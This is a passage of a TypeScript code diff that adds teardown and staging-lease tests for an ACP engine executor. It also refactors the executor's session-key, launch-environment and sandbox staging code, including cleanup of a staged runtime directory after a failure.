+    const localCwd = path.join(root, "worktree");
+    const remoteCwd = path.join(root, "remote-workspace");
+    await fs.mkdir(localCwd, { recursive: true });
+    await fs.mkdir(remoteCwd, { recursive: true });
+    await fs.writeFile(path.join(localCwd, "hello.txt"), "hi", "utf8");
+    const executionTarget = {
+      kind: "remote",
+      transport: "sandbox",
+      providerKey: "fake-plugin",
+      remoteCwd,
+      runner: createLocalSandboxRunner(),
+    };
+    return { root, stateDir, localCwd, remoteCwd, executionTarget };
+  }
+
+  // Stub both sandbox bridges with stop spies collected per start, so a test can
+  // assert the bridges stopped without running the real bridge transport.
+  function stubBridges() {
+    const paperclipStops: Array<ReturnType<typeof vi.fn>> = [];
+    const processStops: Array<ReturnType<typeof vi.fn>> = [];
+    vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementation(async () => {
+      const stop = vi.fn(async () => {});
+      paperclipStops.push(stop);
+      return { env: {}, stop } as never;
+    });
+    vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementation(async () => {
+      const stop = vi.fn(async () => {});
+      processStops.push(stop);
+      return { agentCommand: null, stop } as never;
+    });
+    const anyStopped = (stops: Array<ReturnType<typeof vi.fn>>) =>
+      stops.some((stop) => stop.mock.calls.length > 0);
+    const stoppedCount = (stops: Array<ReturnType<typeof vi.fn>>) =>
+      stops.filter((stop) => stop.mock.calls.length > 0).length;
+    return { paperclipStops, processStops, anyStopped, stoppedCount };
+  }
+
+  function throwingHandoffContext(): Record<string, unknown> {
+    const context: Record<string, unknown> = {};
+    Object.defineProperty(context, "paperclipSessionHandoffMarkdown", {
+      enumerable: false,
+      get() {
+        throw new Error("prompt build boom");
+      },
+    });
+    return context;
+  }
+
+  function completedTurn() {
+    return {
+      events: (async function* () {})(),
+      result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+      cancel: async () => {},
+    };
+  }
+
+  function throwingTurn() {
+    return {
+      events: (async function* () {
+        throw new Error("turn upstream boom");
+      })(),
+      result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+      cancel: async () => {},
+    };
+  }
+
+  function remoteArgs(
+    stateDir: string,
+    localCwd: string,
+    executionTarget: unknown,
+    overrides: Record<string, unknown> = {},
+  ) {
+    return {
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+      context: {},
+      authToken: "real-run-jwt",
+      executionTarget,
+      onLog: async () => {},
+      onMeta: async () => {},
+      onEvent: async () => {},
+      ...overrides,
+    };
+  }
+
+  it("test_teardown_continues_after_one_teardown_step_fails", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    const { paperclipStops, processStops, anyStopped } = stubBridges();
+    const stagingLocks = new Map<string, Promise<unknown>>();
+    const logs: Array<{ stream: string; text: string }> = [];
+    const execute = createAcpxEngineExecutor({
+      stagingLocks,
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => throwingTurn(),
+          // A failing teardown step must not stop the later teardown steps.
+          close: async () => {
+            throw new Error("close boom");
+          },
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "td-continue",
+      ...remoteArgs(stateDir, localCwd, executionTarget, {
+        onLog: async (stream: "stdout" | "stderr", text: string) => {
+          logs.push({ stream, text });
+        },
+      }),
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    // The close failure did not stop the bridge stops or the lease release.
+    expect(anyStopped(paperclipStops)).toBe(true);
+    expect(anyStopped(processStops)).toBe(true);
+    expect(stagingLocks.size).toBe(0);
+    // The close failure was recorded, not silently dropped.
+    expect(
+      logs.some((entry) => entry.stream === "stderr" && entry.text.includes('teardown step "runtime-close" failed')),
+    ).toBe(true);
+  });
+
+  it("test_staging_lease_releases_in_finally_on_every_exit_path", async () => {
+    const scenarios: Array<{
+      name: string;
+      createRuntime: AcpxEngineExecutorOptions["createRuntime"];
+      context: Record<string, unknown>;
+    }> = [
+      {
+        name: "create_runtime",
+        createRuntime: () => {
+          throw new Error("createRuntime boom");
+        },
+        context: {},
+      },
+      {
+        name: "ensure_session",
+        createRuntime: () =>
+          ({
+            ensureSession: async () => {
+              throw new Error("ensure boom");
+            },
+            startTurn: () => completedTurn(),
+            close: async () => {},
+          }) as never,
+        context: {},
+      },
+      {
+        name: "prepare_turn",
+        createRuntime: () =>
+          ({
+            ensureSession: async () => okHandle,
+            startTurn: () => completedTurn(),
+            close: async () => {},
+          }) as never,
+        context: throwingHandoffContext(),
+      },
+      {
+        name: "turn",
+        createRuntime: () =>
+          ({
+            ensureSession: async () => okHandle,
+            startTurn: () => throwingTurn(),
+            close: async () => {},
+          }) as never,
+        context: {},
+      },
+      {
+        name: "success",
+        createRuntime: () =>
+          ({
+            ensureSession: async () => okHandle,
+            startTurn: () => completedTurn(),
+            close: async () => {},
+          }) as never,
+        context: {},
+      },
+    ];
+
+    for (const scenario of scenarios) {
+      const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+      stubBridges();
+      const stagingLocks = new Map<string, Promise<unknown>>();
+      const execute = createAcpxEngineExecutor({
+        stagingLocks,
+        warmHandles: new Map(),
+        stagedRuntimes: new Map(),
+        createRuntime: scenario.createRuntime,
+      });
+
+      await execute({
+        runId: `lease-${scenario.name}`,
+        ...remoteArgs(stateDir, localCwd, executionTarget, { context: scenario.context }),
+      } as never).catch(() => {});
+
+      // The staging lease is released in a finally on every exit path, so the lock
+      // map never strands the next same-session run.
+      expect(stagingLocks.size, `lease must release on the ${scenario.name} path`).toBe(0);
+    }
+  });
+
+  it("test_result_emission_failure_does_not_skip_teardown", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    const { paperclipStops, processStops, anyStopped } = stubBridges();
+    const stagingLocks = new Map<string, Promise<unknown>>();
+    const execute = createAcpxEngineExecutor({
+      stagingLocks,
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => throwingTurn(),
+          close: async () => {},
+        }) as never,
+    });
+
+    await execute({
+      runId: "emit-fail",
+      ...remoteArgs(stateDir, localCwd, executionTarget, {
+        // Fail the acpx.error emission only, so teardown must still run.
+        onLog: async (_stream: "stdout" | "stderr", text: string) => {
+          if (text.includes('"type":"acpx.error"')) throw new Error("onLog boom");
+        },
+      }),
+    } as never).catch(() => {});
+
+    expect(anyStopped(paperclipStops)).toBe(true);
+    expect(anyStopped(processStops)).toBe(true);
+    expect(stagingLocks.size).toBe(0);
+  });
+
+  it("test_result_mapping_throw_after_close_does_not_rerun_teardown", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    const { paperclipStops, processStops, stoppedCount } = stubBridges();
+    let closeCount = 0;
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => ({
+            events: (async function* () {
+              yield { type: "done", stopReason: "end_turn" };
+            })(),
+            // A completed turn whose result mapping throws after the close is read.
+            result: Promise.resolve({
+              status: "completed",
+              get stopReason(): string {
+                throw new Error("mapping boom");
+              },
+            }),
+            cancel: async () => {},
+          }),
+          close: async () => {
+            closeCount += 1;
+          },
+        }) as never,
+    });
+
+    await execute({
+      runId: "map-throw",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never).catch(() => {});
+
+    // The completed turn closed the runtime once; the mapping throw did not re-run
+    // the teardown through the turn catch.
+    expect(closeCount).toBe(1);
+    expect(stoppedCount(paperclipStops)).toBe(1);
+    expect(stoppedCount(processStops)).toBe(1);
+  });
+
+  it("test_teardown_failure_does_not_change_external_result", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => throwingTurn(),
+          close: async () => {
+            throw new Error("close boom");
+          },
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "td-result",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never);
+
+    // The exit cause (the turn failure) determines the external result; the failing
+    // teardown step never leaks into it.
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("turn");
+    expect(result.errorCode).toBe("acpx_turn_failed");
+    expect(result.errorMessage).toContain("turn upstream boom");
+    expect(result.errorMessage).not.toContain("close boom");
+  });
+
+  it("test_flush_child_stderr_runs_on_every_exit_path", async () => {
+    const writes: string[] = [];
+    const spy = vi.spyOn(process.stderr, "write").mockImplementation(((chunk: unknown) => {
+      writes.push(String(chunk));
+      return true;
+    }) as never);
+    try {
+      const scenarios: Array<{ name: string; mode: string; context: Record<string, unknown> }> = [
+        { name: "ensure_session", mode: "ensure_fail", context: {} },
+        { name: "prepare_turn", mode: "success", context: throwingHandoffContext() },
+        { name: "turn", mode: "turn_fail", context: {} },
+        { name: "success", mode: "success", context: {} },
+      ];
+
+      for (const scenario of scenarios) {
+        const root = await makeTempRoot();
+        const marker = `paperclip-flush-probe-${scenario.name}`;
+        const execute = createAcpxEngineExecutor({
+          createRuntime: (options) => {
+            const opts = options as {
+              onAgentStderr?: (chunk: string) => void;
+            };
+            // Emit a partial (newline-free) stderr chunk so it stays pending until a
+            // teardown flush writes it to process.stderr.
+            const emit = () => opts.onAgentStderr?.(marker);
+            return {
+              ensureSession: async () => {
+                emit();
+                if (scenario.mode === "ensure_fail") throw new Error("ensure boom");
+                return okHandle;
+              },
+              startTurn: () =>
+                scenario.mode === "turn_fail" ? throwingTurn() : completedTurn(),
+              close: async () => {},
+            } as never;
+          },
+        });
+
+        await execute({
+          runId: `flush-${scenario.name}`,
+          agent: { id: "agent-1", companyId: "company-1" },
+          runtime: {},
+          config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+          context: scenario.context,
+          onLog: async () => {},
+          onMeta: async () => {},
+        } as never).catch(() => {});
+
+        expect(
+          writes.some((write) => write.includes(marker)),
+          `flushChildStderr must run on the ${scenario.name} path`,
+        ).toBe(true);
+      }
+    } finally {
+      spy.mockRestore();
+    }
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/execute.ts b/packages/adapter-utils/src/acpx-engine/execute.ts
index 3dc9fa7260b..06ab95bb423 100644
--- a/packages/adapter-utils/src/acpx-engine/execute.ts
+++ b/packages/adapter-utils/src/acpx-engine/execute.ts
@@ -20,6 +20,7 @@ import {
   prepareAdapterExecutionTargetRuntime,
   readAdapterExecutionTarget,
   resolveAdapterExecutionTargetTimeout,
+  runAdapterExecutionTargetShellCommand,
   startAdapterExecutionTargetPaperclipBridge,
   startAdapterExecutionTargetProcessSessionBridge,
   type AdapterExecutionTarget,
@@ -83,8 +84,43 @@ import {
   DEFAULT_ACP_ENGINE_TIMEOUT_SEC,
   DEFAULT_ACP_ENGINE_WARM_HANDLE_IDLE_MS,
 } from "./constants.js";
+import type {
+  AcpRunContext,
+  AcquiredRunResources,
+  LaunchEnvironment,
+  LaunchEnvironmentContribution,
+  PreTurnFailedCause,
+  SessionFingerprintIdentity,
+  SessionKeyIdentity,
+  SettlementCause,
+  StartupReady,
+  StartupResult,
+  TurnCompletion,
+} from "./run-contracts.js";
+import { createRunResourceLedger } from "./run-resource-ledger.js";
+import { settleAcpRun, type SettlementSteps } from "./settlement-sequence.js";
+import {
+  runAttempt,
+  type RunPlan,
+  type SettlementReason,
+  type SettlementDispositionReport,
+} from "./run-coordinator.js";
+import {
+  runTurn as runTurnSequence,
+  type StartedTurn,
+  type TurnFinalizeInput,
+} from "./turn-sequence.js";
+import {
+  createHostRunSite,
+  type AcpxAgentProcessIdentity,
+  type AcpxProcessIdentitySink,
+  type ChildStderrState,
+  type RuntimeCacheEntry,
+} from "./run-site-host.js";
+import { createSandboxRunSite, type SandboxRunSite } from "./run-site-sandbox.js";
 import {
   createRuntimeSpanRunner,
+  emitRunPhaseTiming,
   emitSkippedStartupStep,
   getActiveStepContext,
   measureStartupStep,
@@ -104,11 +140,6 @@ const defaultModuleDir = path.dirname(fileURLToPath(import.meta.url));
 const PAPERCLIP_MANAGED_CODEX_SKILLS_MANIFEST = ".paperclip-managed-skills.json";
 const BENIGN_NES_CLOSE_STDERR = /method: ['"]nes\/close['"].*-32601/;
 
-interface ChildStderrState {
-  logPath: string | null;
-  pendingLiveLine: string;
-}
-
 function routeChildStderr(state: ChildStderrState, chunk: string) {
   if (state.logPath) {
     fsSync.mkdirSync(path.dirname(state.logPath), { recursive: true });
@@ -136,8 +167,6 @@ function flushChildStderr(state: ChildStderrState) {
   state.pendingLiveLine = "";
 }
 
-type AcpxAgentProcessIdentity = { pid: number; startedAt: string };
-
 type PaperclipAcpRuntimeOptions = AcpRuntimeOptions & {
   onAgentSpawn?: (meta: AcpxAgentProcessIdentity) => Promise<void>;
   // Return the current-run parent-context token. It is the `task.run` token
@@ -147,23 +176,8 @@ type PaperclipAcpRuntimeOptions = AcpRuntimeOptions & {
   getRuntimeParentContext?: () => StartupSpanContext | undefined;
 };
 
-type AcpxProcessIdentitySink = {
-  current: AdapterExecutionContext["onSpawn"];
-  latest: AcpxAgentProcessIdentity | null;
-};
-
 type AcpxRuntimeFactory = (options: PaperclipAcpRuntimeOptions) => AcpRuntime;
 
-export interface RuntimeCacheEntry {
-  runtime: AcpRuntime;
-  handle: AcpRuntimeHandle;
-  childStderrState: ChildStderrState;
-  processIdentitySink: AcpxProcessIdentitySink;
-  fingerprint: string;
-  lastUsedAt: number;
-  cleanupTimer?: NodeJS.Timeout;
-}
-
 /**
  * A remote runner-backed session's staged runtime, kept warm across runs so a
  * compatible resume reuses it instead of re-shipping the workspace / re-seeding
@@ -347,10 +361,19 @@ export interface AcpxEngineExecutorOptions {
   prepareRemoteManagedHome?: (
     input: AcpxRemoteManagedHomeContext,
   ) => Promise<AcpxRemoteManagedHomeResult>;
+  /**
+   * Observe the final per-resource disposition report the run records at the end
+   * of the attempt (`finalized` vs `transferred`). The coordinator records it on
+   * every exit path: the settlement path reports what the settlement decided, and
+   * the startup-rollback path reports every rolled-back entry as `finalized`. The
+   * engine never reads it back; a test injects this hook to assert the report.
+   */
+  onSettlementDisposition?: (report: SettlementDispositionReport) => void;
 }
 
 interface AcpxPreparedRuntime {
   acpxAgent: string;
+  coalescePlaceholderToolUpdates: boolean;
   mode: "persistent" | "oneshot";
   cwd: string;
   // Host-only spawn cwd for the acpx runtime's host `spawn()` of the relay
@@ -387,8 +410,8 @@ interface AcpxPreparedRuntime {
   stagedRuntime: PreparedAdapterExecutionTargetRuntime | null;
   // Per-run copy-back hook from the per-adapter remote managed-home seam: runs
   // the codex auth copy-back (via `restoreWorkspace()`). Invoked once on every
-  // exit path by `cleanupRemoteBridges`; it never removes staged temp, so it is
-  // safe on every compatible resume. Null for local runs, the runner-less
+  // exit path by the settlement `syncBack` step; it never removes staged temp, so
+  // it is safe on every compatible resume. Null for local runs, the runner-less
   // fallback, and adapters with no seam.
   remoteManagedHomeTeardown: (() => Promise<void>) | null;
   // One-time host-side staged-resource cleanup from the seam (remove staged temp
@@ -450,6 +473,46 @@ function shortHash(value: unknown): string {
   return createHash("sha256").update(stableJson(value)).digest("hex").slice(0, 16);
 }
 
+/**
+ * Hash the session fingerprint. The builder accepts only a
+ * `SessionFingerprintIdentity`, so no company, agent, or task identifier can
+ * enter the hash. Those identifiers scope the outer session key only (see
+ * `SessionKeyIdentity`).
+ */
+export function buildSessionFingerprint(identity: SessionFingerprintIdentity): string {
+  return shortHash(identity);
+}
+
+/**
+ * Build the session key from the fingerprint and the outer-key identity. The key
+ * form is `paperclip:companyId:agentId:taskKey:fingerprint`.
+ */
+export function buildSessionKey(identity: SessionKeyIdentity, fingerprint: string): string {
+  return `paperclip:${identity.companyId}:${identity.agentId}:${identity.taskKey}:${fingerprint}`;
+}
+
+/**
+ * Build the single branded launch environment for a run. This is the sole
+ * constructor of `LaunchEnvironment`. It applies each contribution into the base
+ * env in registration order, then resolves and freezes the launch env.
+ *
+ * A contribution carries its credential scope. A run-scoped contribution (the
+ * run API key, a bridge token) and a session-scoped contribution (the Codex auth
+ * copy-back material) both merge here. Neither scope can escape into a reuse
+ * payload, because the branded contribution type and the branded environment
+ * type forbid it.
+ */
+export function finalizeLaunchEnvironment(
+  baseEnv: Record<string, string>,
+  contributions: readonly LaunchEnvironmentContribution[],
+): LaunchEnvironment {
+  for (const contribution of contributions) {
+    Object.assign(baseEnv, contribution.env);
+  }
+  const env = Object.freeze(resolveRuntimeEnv(baseEnv));
+  return { env } as unknown as LaunchEnvironment;
+}
+
 // Directory names the staging path never ships for a referenced project (heavy
 // build/cache output and git history). The content signature skips them so it
 // reflects only the staged tree and never reads their bytes. Keep this set equal
@@ -576,6 +639,11 @@ async function resolveBuiltInAgentCommand(input: {
   if (agent === "gemini") {
     return { command: "gemini --acp", shellCommand: "gemini --acp" };
   }
+  if (agent === "kimi") {
+    // Kimi Code exposes its ACP server via the `kimi acp` subcommand (stdio),
+    // rather than a flag (gemini) or a dedicated bin (claude/codex).
+    return { command: "kimi acp", shellCommand: "kimi acp" };
+  }
   const binName = agent === "claude" ? "claude-agent-acp" : agent === "codex" ? "codex-acp" : null;
   if (!binName) return null;
   if (executionTargetIsRemote) {
@@ -1360,10 +1428,58 @@ async function stageAcpRemoteRuntime(input: {
   });
 }
 
+// Dispose a freshly staged in-sandbox runtime after a managed-home seam threw. The
+// seam shipped the workspace/home into the sandbox through `stage()` but threw
+// before it could return its `disposeStaged`, so the engine removes the managed
+// runtime root here — otherwise the abandoned in-sandbox managed home (with its
+// staged credentials) leaks in a persistent sandbox. Fail-open: a cleanup miss on
+// an already-failing run is logged and never re-thrown, so it cannot mask the seam
+// error.
+async function disposeFreshStagedRuntime(input: {
+  runId: string;
+  target: AdapterExecutionTarget;
+  stagedRuntime: PreparedAdapterExecutionTargetRuntime;
+  cwd: string;
+  timeoutSec: number;
+  onLog: AdapterExecutionContext["onLog"];
+}): Promise<void> {
+  const runtimeRootDir = input.stagedRuntime.runtimeRootDir;
+  if (!runtimeRootDir) return;
+  try {
+    await runAdapterExecutionTargetShellCommand(
+      input.runId,
+      input.target,
+      `rm -rf ${shellQuote(runtimeRootDir)}`,
+      {
+        cwd: input.cwd,
+        env: {},
+        timeoutSec: Math.max(input.timeoutSec, 15),
+        graceSec: 20,
+        onLog: input.onLog,
+      },
+    );
+  } catch (err) {
+    await input.onLog(
+      "stderr",
+      `[paperclip] Failed to dispose the fresh staged runtime after a managed-home seam error: ${
+        err instanceof Error ? err.message : String(err)
+      }\n`,
+    );
+  }
+}
+
 async function buildRuntime(input: {
   ctx: AdapterExecutionContext;
   engine: AcpxEngineSettings;
   deps: AcpxEngineExecutorOptions;
+  // The run resource ledger. `executeAcpxEngine` creates the one ledger for the
+  // attempt and passes it here, so the sandbox run site registers what it
+  // acquires into that single ledger (one ledger until Phase 20 formalizes the
+  // coordinator).
+  ledger: AcquiredRunResources;
+  // The staged-runtime idle bound, in milliseconds. The sandbox run site takes
+  // it for its reuse store's idle policy.
+  stagedIdleMs: number;
   // The injected tracer, the root-span parent-context token, and the
   // context-builder. Merged into every startup-step option set, so each
   // boundary span parents to the one root span (`sandbox.startup`) that the
@@ -1494,6 +1610,9 @@ async function buildRuntime(input: {
   );
 
   const acpxAgent = normalizeAgent(config);
+  // Run summaries always fail closed to the final output segment so internal
+  // thought text and intermediate narration cannot become issue comments.
+  const coalescePlaceholderToolUpdates = config.coalescePlaceholderToolUpdates === true;
   const mode = normalizeMode(config);
   const permissionMode = normalizePermissionMode(config);
   const nonInteractivePermissions = normalizeNonInteractivePermissions(config);
@@ -1706,12 +1825,17 @@ async function buildRuntime(input: {
     Boolean(executionTarget.runner) &&
     Boolean(agentCommandShell);
   // Stream the agent output through the persistent session log stream instead of
-  // the host output-file poll. Default OFF; an operator opts a sandbox
-  // environment in through the environment config.
+  // the host output-file poll. The decision comes from the effective capability
+  // snapshot alone: the provider must declare and verify incremental session
+  // output. `incrementalSessionOutput` is an opt-in capability, so a generic
+  // one-shot provider that keeps persistent process sessions and runs independent
+  // control commands, yet never emits incremental session output, keeps the poll
+  // path. The snapshot resolves this key false when it is absent, undeclared, or
+  // capability resolution failed, so this fails closed to the poll path.
   const streamAgentSessionOutput =
     executionTarget?.kind === "remote" &&
     executionTarget.transport === "sandbox" &&
-    executionTarget.streamAgentSessionOutput === true;
+    executionTarget.effectiveCapabilities?.incrementalSessionOutput === true;
   // The ACP `session/new` cwd and every cwd-keyed session-state site
   // (fingerprint, compat, persist, ensureSession, error) bind to THIS single
   // value so a warm/resumable session created with the in-sandbox cwd is reused
@@ -1731,7 +1855,10 @@ async function buildRuntime(input: {
     useRemoteProcessSession && executionTarget?.kind === "remote"
       ? executionTarget.remoteCwd
       : cwd;
-  const fingerprint = shortHash({
+  // The 17 fields the session fingerprint hashes. Company, agent, and task
+  // identifiers are NOT here; they scope the outer session key only (see
+  // `keyIdentity`). The fingerprint builder accepts only this identity.
+  const fingerprintIdentity: SessionFingerprintIdentity = {
     acpxAgent,
     agentCommand: agentCommand ?? acpxAgent,
     cwd: path.resolve(sessionCwd),
@@ -1746,7 +1873,7 @@ async function buildRuntime(input: {
     // added, removed, or re-pinned) invalidates a warm/resumable session so the
     // next launch stages the current referenced-project trees instead of reusing
     // a stale staged tree.
-    additionalSourcesIdentity,
+    additionalSourcesIdentity: additionalSourcesIdentity as unknown as Record<string, unknown>,
     skillsIdentity,
     skillPromptInstructions,
     paperclipClaudeSettings: paperclipClaudeSettings
@@ -1766,9 +1893,17 @@ async function buildRuntime(input: {
     // edits and same-version secret rotations. Per-wake runtime vars never enter
     // resolvedAdapterEnv, so they don't churn the fingerprint every heartbeat.
     adapterEnvHash: shortHash(resolvedAdapterEnv),
-  });
+  };
+  const fingerprint = buildSessionFingerprint(fingerprintIdentity);
   const taskKey = asString(input.ctx.runtime.taskKey, "") || wakeTaskId || workspaceId || "default";
-  const sessionKey = `paperclip:${agent.companyId}:${agent.id}:${taskKey}:${fingerprint}`;
+  // Company, agent, and task identity for the outer session key. These parts
+  // stay out of the fingerprint hash.
+  const keyIdentity: SessionKeyIdentity = {
+    companyId: agent.companyId,
+    agentId: agent.id,
+    taskKey,
+  };
+  const sessionKey = buildSessionKey(keyIdentity, fingerprint);
 
   // Ship the workspace into the sandbox and capture `{ workspaceRemoteDir,
   // runtimeRootDir, assetDirs, restoreWorkspace }`. Done once here, before the
@@ -1820,53 +1955,27 @@ async function buildRuntime(input: {
   let remoteStagingDispose: (() => Promise<void>) | null = null;
   let remoteStagingEnvDelta: Record<string, string> | null = null;
   let sessionStagingLeaseRelease: (() => void) | null = null;
+  // The sandbox run site owns the sandbox lane's staging, the per-session
+  // staging lease, both host-side bridges, the launch-environment contribution,
+  // and sync-back. `buildRuntime` injects the leaf primitives (the workspace
+  // stage call, the managed-home seam, the two bridge starts, the step timers,
+  // and the launch-env finalizer) and reads the site's results back onto the
+  // prepared-runtime fields, so the existing settlement path stays unchanged.
+  let sandboxSite: SandboxRunSite | null = null;
   if (useRemoteProcessSession && executionTarget?.kind === "remote") {
     const remoteTarget = executionTarget;
-    const staged = await withSessionStagingLease(stagingLocks, sessionKey, async (): Promise<{
-      stagedRuntime: PreparedAdapterExecutionTargetRuntime;
-      teardown: (() => Promise<void>) | null;
-      dispose: (() => Promise<void>) | null;
-      envDelta: Record<string, string>;
-    }> => {
-      const cachedStaged = isCompatibleResume ? stagedRuntimes.get(sessionKey) : undefined;
-      if (cachedStaged) {
-        // Reuse the already-staged in-sandbox workspace + managed home. Re-apply
-        // the env keys the seam repointed onto the in-sandbox home (deterministic,
-        // identical across the session's runs) and reuse the seam's per-run
-        // copy-back so the codex auth copy-back still fires on THIS run's teardown
-        // — the copy-back cadence stays exactly per-run, unchanged from PR 2. The
-        // copy-back reads the sandbox auth.json live at teardown, so the reused
-        // closure copies back the current credential, never a stale snapshot, and
-        // it never removes the staged in-sandbox home (host staged-temp cleanup
-        // moved to `dispose`, fired only when the entry is dropped), so reusing it
-        // can't leave this run without its staged home.
-        // (The workspace restore in that same closure diffs against the ORIGINAL
-        // staging run's host baseline — an accepted consequence of "reuse, don't
-        // re-ship": the in-sandbox workspace is the source of truth mid-session
-        // and the host stays synced from it each run.)
-        Object.assign(env, cachedStaged.envDelta);
-        cachedStaged.lastUsedAt = nowMs();
-        await input.ctx.onLog(
-          "stdout",
-          "[paperclip] Reusing the staged in-sandbox runtime for this resumed session (no workspace re-ship / managed-home re-seed).\n",
-        );
-        return {
-          stagedRuntime: cachedStaged.stagedRuntime,
-          teardown: cachedStaged.teardown,
-          dispose: cachedStaged.dispose,
-          envDelta: cachedStaged.envDelta,
-        };
-      }
-      // Not a compatible resume (or no cache entry): stage fresh. If a stale
-      // entry sits at this key (e.g. an incompatible new session colliding on
-      // company/agent/task/fingerprint), drop it and release its host staged
-      // resources first so we neither reuse nor leak it.
-      const stale = stagedRuntimes.get(sessionKey);
-      if (stale) {
-        stagedRuntimes.delete(sessionKey);
-        if (stale.dispose) await stale.dispose().catch(() => {});
-      }
-      const stage = (assets: AdapterManagedRuntimeAsset[]) =>
+    sandboxSite = createSandboxRunSite({
+      ledger: input.ledger,
+      stagedRuntimes,
+      stagingLocks,
+      now: nowMs,
+      idleMs: input.stagedIdleMs,
+      sessionCwd,
+      spawnCwd: cwd,
+      target: remoteTarget,
+      env,
+      isCompatibleResume,
+      stage: (assets) =>
         stageAcpRemoteRuntime({
           runId,
           target: remoteTarget,
@@ -1879,85 +1988,109 @@ async function buildRuntime(input: {
           onLog: input.ctx.onLog,
           onRuntimeProgress: input.ctx.onRuntimeProgress,
           runtimeSpan: input.stageRuntimeSpan,
-        });
-      // Snapshot env before the seam so we can capture exactly which keys it
-      // repointed onto the in-sandbox home (e.g. `CODEX_HOME`) and replay them
-      // verbatim on a later compatible resume. Add/change only — every seam sets
-      // (never deletes) its home env var, so a set-based delta is complete.
-      const envBeforeStage = { ...env };
-      // Step 4 — stage.sync: ship the workspace (and, via the seam, the managed
-      // home) into the sandbox. Only fires on a fresh stage; a compatible resume
-      // that reuses an already-staged runtime skips this block entirely. The
-      // measured callback returns the staged result so the timing wrap does not
-      // disturb definite-assignment of the outer bindings.
-      const {
-        stagedRuntime: freshStagedRuntime,
-        teardown: freshTeardown,
-        dispose: freshDispose,
-      } = await measureStartupStep(input.ctx, nowMs, "stage.sync", async (): Promise<{
-        stagedRuntime: PreparedAdapterExecutionTargetRuntime;
-        teardown: (() => Promise<void>) | null;
-        dispose: (() => Promise<void>) | null;
-      }> => {
-        if (input.deps.prepareRemoteManagedHome) {
-          const seeded = await input.deps.prepareRemoteManagedHome({
-            acpxAgent,
-            companyId: agent.companyId,
-            runId,
-            config,
-            executionTarget: remoteTarget,
-            workspaceLocalDir: cwd,
-            timeoutSec,
-            env,
-            onLog: input.ctx.onLog,
-            onRuntimeProgress: input.ctx.onRuntimeProgress,
-            stage,
-          });
-          return {
-            stagedRuntime: seeded.stagedRuntime,
-            teardown: seeded.teardown ?? null,
-            dispose: seeded.disposeStaged ?? null,
-          };
+        }),
+      seedManagedHome: input.deps.prepareRemoteManagedHome
+        ? async (stage) => {
+            const seeded = await input.deps.prepareRemoteManagedHome!({
+              acpxAgent,
+              companyId: agent.companyId,
+              runId,
+              config,
+              executionTarget: remoteTarget,
+              workspaceLocalDir: cwd,
+              timeoutSec,
+              env,
+              onLog: input.ctx.onLog,
+              onRuntimeProgress: input.ctx.onRuntimeProgress,
+              stage,
+            });
+            return {
+              stagedRuntime: seeded.stagedRuntime,
+              teardown: seeded.teardown ?? null,
+              dispose: seeded.disposeStaged ?? null,
+            };
+          }
+        : undefined,
+      disposeFreshStagedRuntime: (freshStagedRuntime) =>
+        disposeFreshStagedRuntime({
+          runId,
+          target: remoteTarget,
+          stagedRuntime: freshStagedRuntime,
+          cwd: sessionCwd,
+          timeoutSec,
+          onLog: input.ctx.onLog,
+        }),
+      measureStageStep: (run) => measureStartupStep(input.ctx, nowMs, "stage.sync", run, stepMetrics),
+      publishStagedProjectHints: (stagedProjectDirs) => {
+        const shapedHints = shapePaperclipWorkspaceEnvForExecution({
+          workspaceCwd: effectiveWorkspaceCwd,
+          workspaceWorktreePath,
+          workspaceHints,
+          executionTargetIsRemote,
+          executionCwd: effectiveExecutionCwd,
+          stagedProjectDirs,
+        }).workspaceHints;
+        if (shapedHints.length > 0) {
+          env.PAPERCLIP_WORKSPACES_JSON = JSON.stringify(shapedHints);
         }
-        return { stagedRuntime: await stage([]), teardown: null, dispose: null };
-      }, stepMetrics);
-      const delta: Record<string, string> = {};
-      for (const [key, value] of Object.entries(env)) {
-        if (envBeforeStage[key] !== value) delta[key] = value;
-      }
-      return {
-        stagedRuntime: freshStagedRuntime,
-        teardown: freshTeardown,
-        dispose: freshDispose,
-        envDelta: delta,
-      };
+      },
+      onReuseLog: () =>
+        input.ctx.onLog(
+          "stdout",
+          "[paperclip] Reusing the staged in-sandbox runtime for this resumed session (no workspace re-ship / managed-home re-seed).\n",
+        ),
+      startPaperclipBridge: (runtimeRootDir) =>
+        startAdapterExecutionTargetPaperclipBridge({
+          runId,
+          target: { ...remoteTarget, streamRunLogs: false },
+          runtimeRootDir,
+          adapterKey: input.engine.adapterType,
+          timeoutSec,
+          hostApiToken: env.PAPERCLIP_API_KEY,
+          onLog: input.ctx.onLog,
+          getRuntimeParentContext: input.getRuntimeParentContext,
